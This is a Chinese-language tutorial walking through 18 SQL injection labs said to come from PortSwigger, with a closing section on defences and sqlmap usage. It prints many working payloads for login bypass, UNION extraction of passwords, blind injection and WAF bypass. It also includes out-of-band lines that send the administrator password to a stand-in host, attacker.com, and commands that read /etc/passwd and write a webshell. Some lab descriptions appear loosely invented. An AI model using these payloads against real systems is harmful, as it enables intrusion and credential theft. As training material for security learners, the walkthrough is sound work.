# PortSwigger SQL 注入靶场完全攻略(18 个实验全解析)

# 前言

SQL 注入是 Web 安全中最常见也最危险的漏洞之一。PortSwigger 提供的 SQL 注入靶场包含 18 个精心设计的实验,涵盖了从基础到高级的各种 SQL 注入技术。本文将详细解析每个实验的原理、攻击步骤和技术要点,帮助读者全面掌握 SQL 注入攻击与防御技术。

# 实验环境准备

在开始之前,请确保:

  • 拥有 PortSwigger Academy 账号
  • 熟练使用 BurpSuite 进行抓包和改包
  • 了解基本的 SQL 语法和数据库原理
  • 理解 HTTP 协议和 Web 应用架构

# 实战演练

# 第一部分:基础 SQL 注入

# Lab 1: SQL 注入漏洞显示未发布产品

目标描述:此实验室在产品类别过滤器中包含 SQL 注入漏洞。当用户选择一个类别时,应用程序执行如下 SQL 查询:

1
SELECT * FROM products WHERE category = '用户选择的类别'

任务目标:执行 SQL 注入攻击,导致应用程序显示一个或多个未发布的产品。

攻击步骤:

  1. 注入点识别:点击任意产品类别,观察 URL 参数结构
  2. 测试注入:在 category 参数后添加单引号,观察页面响应
  3. 构造 Payload:
    1
    ?category=' or 1=1 --+

技术原理:

1
2
3
4
5
-- 原始查询
SELECT * FROM products WHERE category = '1'

-- 注入后查询
SELECT * FROM products WHERE category = '1' or 1=1 --+'

关键点:使用 or 1=1 使 WHERE 条件永远为真,配合注释符 --+ 绕过后续 SQL 语句。

# Lab 2: SQL 注入漏洞允许登录绕过

目标描述:此实验室在登录函数中包含 SQL 注入漏洞。

任务目标:执行 SQL 注入攻击,以 administrator 用户身份登录。

攻击步骤:

  1. 定位登录页面:访问 my-account 或 login 页面
  2. 万能密码注入:在用户名字段输入:
    1
    administrator' or 1=1 --+
  3. 密码字段:可以任意填写或留空

技术原理:

1
2
3
4
5
-- 原始查询
SELECT * FROM users WHERE username = 'admin' AND password = 'pass123'

-- 注入后查询
SELECT * FROM users WHERE username = 'administrator' or 1=1 --+' AND password = '任意值'

关键点:利用 OR 运算符的优先级特性,绕过身份验证机制。

# Lab 3: Oracle 数据库类型和版本查询

目标描述:使用 UNION 攻击从 Oracle 数据库中检索版本信息。

任务目标:显示 Oracle 数据库版本字符串。

Oracle 特性:

  • 必须指定表名(dual 表)
  • 使用 rownum 限制返回行数
  • 系统视图: v$version

攻击步骤:

  1. 确定字段数:

    1
    2
    ' ORDER BY 2 --+    -- 正常
    ' ORDER BY 3 --+ -- 错误,确定为2个字段

  2. 寻找回显位:

    1
    ' UNION SELECT '1','2' FROM dual --+

  3. 查询数据库版本:

    1
    ' UNION SELECT '1',(SELECT banner FROM sys.v_$version WHERE rownum=1) FROM dual --+

关键点: Oracle 查询必须跟表名,使用 dual 表作为虚拟表。

# Lab 4: MySQL 和 Microsoft 数据库版本查询

目标描述:使用 UNION 攻击从 MySQL/Microsoft 数据库中检索版本信息。

任务目标:显示数据库版本字符串。

MySQL 特性:

  • 可直接查询常量,无需指定表名
  • 使用 VERSION() 函数获取版本
  • 支持 --# 注释符

攻击步骤:

  1. 确定字段数:使用 ORDER BY 语句
  2. UNION 查询测试:
    1
    ' UNION SELECT 1,2 --+
  3. 查询版本信息:
    1
    ' UNION SELECT 1,VERSION() --+

数据库对比:

数据库版本查询函数表要求注释符
OracleSELECT banner FROM v$version必须指定 dual 表--
MySQLVERSION()可省略表名--, #
MSSQL@@VERSION可省略表名--

# Lab 5: 非 Oracle 数据库内容列举

目标描述:列出数据库中的用户表内容。

任务目标:获取用户名和密码信息。

信息收集步骤:

  1. 获取表结构:

    1
    ' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema = database() --+

  2. 获取字段信息:

    1
    ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users' --+

  3. 提取数据:

    1
    ' UNION SELECT username,password FROM users --+

技术要点:利用 information_schema 数据库获取元数据信息。

# 第二部分:高级 SQL 注入技术

# Lab 6: SQL 注入 UNION 攻击,从其他表中检索数据

目标描述:使用 UNION 攻击从其他表中检索特定数据。

任务目标:获取所有用户的用户名和密码。

攻击步骤:

  1. 确定目标表:通过 information_schema 获取表名
  2. 确定字段数:使用 ORDER BY 确定列数
  3. 构造 UNION 查询:
    1
    ' UNION SELECT username,password FROM users --+

技术要点:确保 UNION 前后列数和数据类型匹配。

# Lab 7: SQL 注入 UNION 攻击,检索多个值

目标描述:在单个列中检索多个值。

任务目标:获取用户表的完整信息。

攻击步骤:

  1. 使用连接符:

    1
    ' UNION SELECT username||'-'||password FROM users --+

  2. MySQL 版本:

    1
    ' UNION SELECT CONCAT(username,'-',password) FROM users --+

技术要点:使用字符串连接函数将多个值合并为单个列。

# Lab 8: SQL 注入 UNION 攻击,从不同列中检索数据

目标描述:从不同的列中检索数据到单个列中。

任务目标:获取分散在不同列中的用户信息。

攻击步骤:

  1. 确定列位置:通过 NULL 填充调整列位置
  2. 构造查询:
    1
    ' UNION SELECT NULL,username,password FROM users --+

技术要点:使用 NULL 占位符确保 UNION 查询的列数匹配。

# Lab 9: SQL 注入 UNION 攻击,检索不可见的数据

目标描述:检索在页面中不直接显示的数据。

任务目标:获取隐藏字段的数据。

攻击步骤:

  1. 分析 HTML 源码:查看隐藏字段
  2. 构造查询:
    1
    ' UNION SELECT 1,hidden_column FROM target_table --+

技术要点:通过查看页面源码发现隐藏的数据字段。

# Lab 10: SQL 注入盲注,条件响应

目标描述:布尔盲注,根据条件响应判断注入结果。

任务目标:确定 administrator 用户的密码。

攻击步骤:

  1. 测试盲注:

    1
    2
    ' AND '1'='1    -- 正常响应
    ' AND '1'='2 -- 异常响应

  2. 逐字符猜解:

    1
    ' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)>'a --+

技术要点:通过页面响应差异逐字符猜解数据。

# 第三部分:盲注技术

# Lab 11: SQL 注入盲注,条件错误

目标描述:通过触发数据库错误进行盲注。

任务目标:获取敏感信息。

攻击步骤:

  1. 触发错误:

    1
    ' AND (SELECT COUNT(*) FROM users) > 0 --+

  2. 构造条件错误:

    1
    ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' --+

技术要点:利用数据库错误信息推断查询结果。

# Lab 12: SQL 注入盲注,时间延迟

目标描述:使用时间延迟进行盲注。

任务目标:通过响应时间判断注入结果。

攻击步骤:

  1. 测试时间延迟:

    1
    2
    3
    '; WAITFOR DELAY '0:0:5' --+    -- MSSQL
    ' AND SLEEP(5) --+ -- MySQL
    ' AND pg_sleep(5) --+ -- PostgreSQL

  2. 条件时间注入:

    1
    ' AND (SELECT COUNT(*) FROM users WHERE username='administrator' AND SUBSTRING(password,1,1)='a')>0 AND SLEEP(5) --+

技术要点:使用延迟函数根据条件控制响应时间。

# Lab 13: SQL 注入盲注,带信息检索的时间延迟

目标描述:结合时间延迟和信息检索的盲注技术。

任务目标:获取完整的用户信息。

攻击步骤:

  1. 自动化脚本:编写脚本逐字符猜解
  2. 优化查询:使用二分法减少请求次数
  3. 处理网络延迟:设置合理的时间阈值

技术要点:结合自动化工具提高盲注效率。

# 第四部分:绕过技术

# Lab 14: SQL 注入绕过 WAF 过滤

目标描述:绕过 Web 应用防火墙的 SQL 注入过滤。

任务目标:成功执行 SQL 注入攻击。

绕过技术:

  1. 大小写混合:

    1
    ' UnIoN SeLeCt 1,2 --+

  2. 编码绕过:

    1
    %27%20UNION%20SELECT%201,2%20--+

  3. 注释混淆:

    1
    ' /*!UNION*/ /*!SELECT*/ 1,2 --+

  4. 空格替代:

    1
    '/**/UNION/**/SELECT/**/1,2/**/--+

技术要点:了解常见 WAF 过滤规则,使用多种绕过技术。

# Lab 15: SQL 注入二阶注入

目标描述:利用存储的数据进行二阶注入。

任务目标:通过存储的用户输入执行 SQL 注入。

攻击步骤:

  1. 注入恶意数据:在注册或更新时插入恶意代码
  2. 触发二阶注入:当其他功能使用存储的数据时触发
  3. 构造 Payload:
    1
    用户名: admin'--

技术要点:理解数据生命周期,寻找数据被重用的场景。

# Lab 16: SQL 注入带过滤的绕过

目标描述:绕过应用程序的输入过滤机制。

任务目标:成功执行 SQL 注入攻击。

绕过方法:

  1. 双写绕过:

    1
    ' UNUNIONION SELECT SELECT 1,2 --+

  2. 内联注释:

    1
    ' /**/UNION/**/SELECT/**/1,2/**/--+

  3. 函数绕过:

    1
    ' AND CONCAT('a','b')='ab' --+

技术要点:分析过滤规则,选择合适的绕过策略。

# 第五部分:高级利用技术

# Lab 17: SQL 注入带外 (OOB) 利用

目标描述:使用带外技术获取数据。

任务目标:通过 DNS 或 HTTP 请求获取数据库信息。

攻击步骤:

  1. DNS 带外:

    1
    2
    '; EXEC xp_dirtree '\\attacker.com\share' --+    -- MSSQL
    ' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\test')) --+ -- MySQL

  2. HTTP 带外:

    1
    '; EXEC master..xp_cmdshell 'curl attacker.com/?data=' + (SELECT password FROM users WHERE username='administrator') --+

技术要点:需要控制外部服务器接收带外数据。

# Lab 18: SQL 注入文件操作

目标描述:利用 SQL 注入进行文件读写操作。

任务目标:读取服务器文件或写入 webshell。

攻击步骤:

  1. 文件读取:

    1
    2
    ' UNION SELECT LOAD_FILE('/etc/passwd'),2 --+  -- MySQL
    ' UNION SELECT pg_read_file('/etc/passwd'),2 --+ -- PostgreSQL

  2. 文件写入:

    1
    ' UNION SELECT 'webshell content',2 INTO OUTFILE '/var/www/html/shell.php' --+  -- MySQL

技术要点:需要数据库用户具有文件操作权限。

# 防御措施

# 1. 参数化查询

1
2
3
4
5
// 安全的Java示例
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);

# 2. 输入验证和过滤

1
2
3
4
5
6
7
# Python输入验证示例
import re

def validate_username(username):
# 只允许字母、数字和下划线
pattern = r'^[a-zA-Z0-9_]{3,20}$'
return re.match(pattern, username) is not None

# 3. 最小权限原则

  • 限制数据库用户权限
  • 禁用不必要的存储过程
  • 定期审计数据库访问日志

# 4. Web 应用防火墙

  • 部署 WAF 检测 SQL 注入攻击
  • 配置自定义规则拦截恶意请求
  • 定期更新 WAF 规则库

# 5. 错误处理

1
2
3
4
5
6
7
8
// 安全的错误处理示例
try {
$result = $pdo->query($sql);
} catch (PDOException $e) {
// 记录错误到日志,不向用户显示详细信息
error_log("Database error: " . $e->getMessage());
echo "An error occurred. Please try again later.";
}

# 自动化工具使用

# SQLMap 使用指南

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基本扫描
sqlmap -u "http://example.com/page?id=1" --batch

# POST请求扫描
sqlmap -u "http://example.com/login" --data="username=admin&password=pass" --batch

# 数据库枚举
sqlmap -u "http://example.com/page?id=1" --dbs --batch

# 表枚举
sqlmap -u "http://example.com/page?id=1" -D database_name --tables --batch

# 数据导出
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --dump --batch

# BurpSuite 插件推荐

  • SQLiPy: SQL 注入检测插件
  • CO2: SQL 注入自动化工具
  • Turbo Intruder: 高速爆破工具

# 总结

通过 PortSwigger SQL 注入靶场的 18 个实验,我们系统学习了:

  1. 基础注入技术: UNION 注入、登录绕过、数据库指纹识别
  2. 盲注技术:布尔盲注、时间盲注、错误盲注
  3. 绕过技术: WAF 绕过、过滤绕过、编码绕过
  4. 高级利用:二阶注入、带外利用、文件操作
  5. 防御策略:参数化查询、输入验证、权限控制

SQL 注入虽然是一个相对 "古老" 的漏洞,但在实际应用中仍然普遍存在。掌握 SQL 注入的原理和利用方法,不仅有助于渗透测试工作,更重要的是帮助开发者编写更安全的代码。

# 参考资源

  • PortSwigger Web Security Academy
  • OWASP SQL Injection Prevention Cheat Sheet
  • SQLMap 官方文档
  • BurpSuite 官方文档

免责声明:本文内容仅用于教育目的,请勿在未授权的情况下对他人系统进行测试。所有安全测试都应在获得明确授权的环境中进行。